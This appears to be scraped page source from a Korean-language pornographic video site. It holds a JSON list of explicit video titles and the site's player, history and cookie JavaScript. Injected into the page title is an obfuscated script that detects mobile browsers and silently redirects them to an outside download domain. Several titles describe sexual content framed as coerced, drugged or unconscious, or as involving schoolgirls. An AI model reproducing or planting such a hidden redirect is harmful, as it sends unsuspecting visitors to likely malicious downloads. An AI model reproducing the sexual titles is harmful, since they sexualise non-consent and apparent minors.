추천 영상
19:29
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>나이와 직업이 다른 이웃집 소녀 아홉 명이 놀랍게도 성생활에서 음란한 행동을 일관되게 보였다.</script></title>
더 보기
나이와 직업이 다른 이웃집 소녀 아홉 명이 놀랍게도 성생활에서 음란한 행동을 일관되게 보였다. ","lastmod":"2026-07-11","duration":"19:29","url":"/play/19162816.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDgvODIyOTMxNGI3MTVlNmRkOTJhN2ViOTc2MzM1MWM2MDYuanBn.cache","vod_id":19037180,"title":"KSBJ249 아름다운 아내가 남편의 빚을 갚기 위해 몸을 팔 수밖에 없게 된다.","lastmod":"2025-06-08","duration":"01:59:41","url":"/play/19037180.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDVkOTQxNmY5YjQ4OWMyMTFhOGM4MGIxZDRkMGY5NjAuanBn.cache","vod_id":18959567,"title":"[무삭제판] ATID-523 자전거도 못 타는 헤픈 여학생 후지타 코즈에가 자신의 성기를 타고 돌아다닌다.","lastmod":"2025-03-22","duration":"02:34:36","url":"/play/18959567.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDUvZjc2NzQyYzliYWIwZGVmMGE3NWRjZGZmOGVjNWNkMWUuanBn.cache","vod_id":19166740,"title":"
여학교 ● 엿보기 클럽 - NG 소녀들에게 최음제 사용을 강요하고 라이브 섹스 배우에는 유라 카나, 미나즈키 히카루, 라쿠엔 미나 등이 포함됩니다. OFFICE K」S","lastmod":"2026-07-11","duration":"02:56:24","url":"/play/19166740.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWYwNjAxNzI4MTc4Yzg4MDRmYTg5YTE4MTc0Y2E3ZTcuanBn.cache","vod_id":18985392,"title":"[무삭제판] STAR-612 사쿠라 마나 x 마츠오카 중국 여배우 자매 근친상간 서비스 파라다이스","lastmod":"2025-03-23","duration":"02:28:44","url":"/play/18985392.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2NiZjA1ZGIyY2E1MTEzZTEyYzIyZTFhYjY3NzJiYTUuanBn.cache","vod_id":18923396,"title":"FC2PPV-1178560 [아마추어 애니메이션] ♀239 여대생 리짱 18세","lastmod":"2025-12-14","duration":"00:58:34","url":"/play/18923396.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGUwZThjNGRlOGRjMDZmMzk0YzU3YzQ3YTFlNzQ5NWQuanBn.cache","vod_id":18958831,"title":"GOJU-063 엔조 히토미는 50대 음탕한 유부녀로, 속삭이는 음란한 대화로 그녀를 유혹한다.","lastmod":"2025-03-22","duration":"01:41:39","url":"/play/18958831.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2NkMThjODNjOWFkYTE0MmZlZTI3MGE5ODdiYjVjYmIuanBn.cache","vod_id":19016901,"title":"래빗은 마사지를 받으러 갔는데, 마사지를 받는 도중에 결국 성관계를 갖게 되었다.","lastmod":"2025-03-24","duration":"18:47","url":"/play/19016901.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTI2NTJkYjRlMzM4ODMwN2ZiNTJlMTdiYzJmMTkyN2MuanBn.cache","vod_id":18929303,"title":"예쁘고 짧은 머리에 귀여운 소녀가 섹시한 교복을 입고 나체로 가슴을 만지고 손가락으로 음핵을 자극하는 모습을 보여줍니다. 매우 매혹적이니 놓치지 마세요!","lastmod":"2025-12-14","duration":"00:26:47","url":"/play/18929303.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTUwNDcwY2Q0YmQwY2NiYzJmMjE1MzVmNmRkMDFiNTIuanBn.cache","vod_id":18966797,"title":"SSNI-343 즐거움! 첫 경험 6: 자연산 I컵 시온의 수줍은 첫 오르가즘 섹스 스페셜 - 유미 시온","lastmod":"2025-03-22","duration":"02:39:12","url":"/play/18966797.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZmM4ODA3YjlkMjZmNWVlZDdhNTlkZjQ5ZWI5OGNhZGYuanBn.cache","vod_id":19153387,"title":"MMD, 일어나서 움직여!","lastmod":"2026-04-14","duration":"03:10","url":"/play/19153387.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvNmJkYTFjNjBkMjE5MDNjMzNlZWZhYzM4ZTMxZDc1MjIuanBn.cache","vod_id":19168372,"title":"그해 여름, 시골에 있는 친척집에 방문한 음탕한 여자(그녀의 시동생)가 그녀의 발정기에 그녀와 관계를 맺었다. [정액으로 흠뻑 젖고 뒤덮인] 유메미 카나에, 류이케 고로","lastmod":"2026-07-15","duration":"02:18:41","url":"/play/19168372.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNzQ1YzdiYTJhMDQwZDczMjI0ZWUyZDdlNmU4NmQxMDQuanBn.cache","vod_id":19158299,"title":"아마추어 아내가 평범한 대학생의 집에서 콘돔을 얻어 하룻밤을 보내지만, 단 한 번의 콘돔 사용으로는 만족하지 못한다. (코스모스 에코스)","lastmod":"2026-05-15","duration":"02:22:45","url":"/play/19158299.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzc2N2Q3MzA2MThkOGJkZDg5YTNmMTI5MjA2OTI0ZGYuanBn.cache","vod_id":18932201,"title":"FC2PPV-1224981 (모자이크) 그룹 섹스/개인 촬영] 가슴둘레 100cm, H컵, 큰 가슴","lastmod":"2025-12-14","duration":"01:36:58","url":"/play/18932201.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTQvMzMxYjU0MmU5YWUzZTEyMGJlZTYwZWQ2Y2YyYWY2ZDIuanBn.cache","vod_id":19052561,"title":"완전혼수상태에 빠진 4인 \"꿈을 쫓는\" 중앙선에 사는 전문대생들 (19) #워킹걸 (1●)# 무명 여배우 SMKCX012","lastmod":"2025-09-13","duration":"04:06:42","url":"/play/19052561.html"}]},
videoTitle: 'SIRO-3860 [첫 촬영] AV 온라인 신청 → AV 체험 촬영 992 "등록금 마련을 위해서…" 겉보기엔 진지해 보이는 여대생이 신청했다! 그녀는 너무 예민해서 핥기만 해도 질액이 흘러나왔다! 너무 예민해서 쉽게 젖고, 배우의 테크닉에 맞춰 몸을 비틀며 야릇한 신음 소리를 낸다 lol1',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}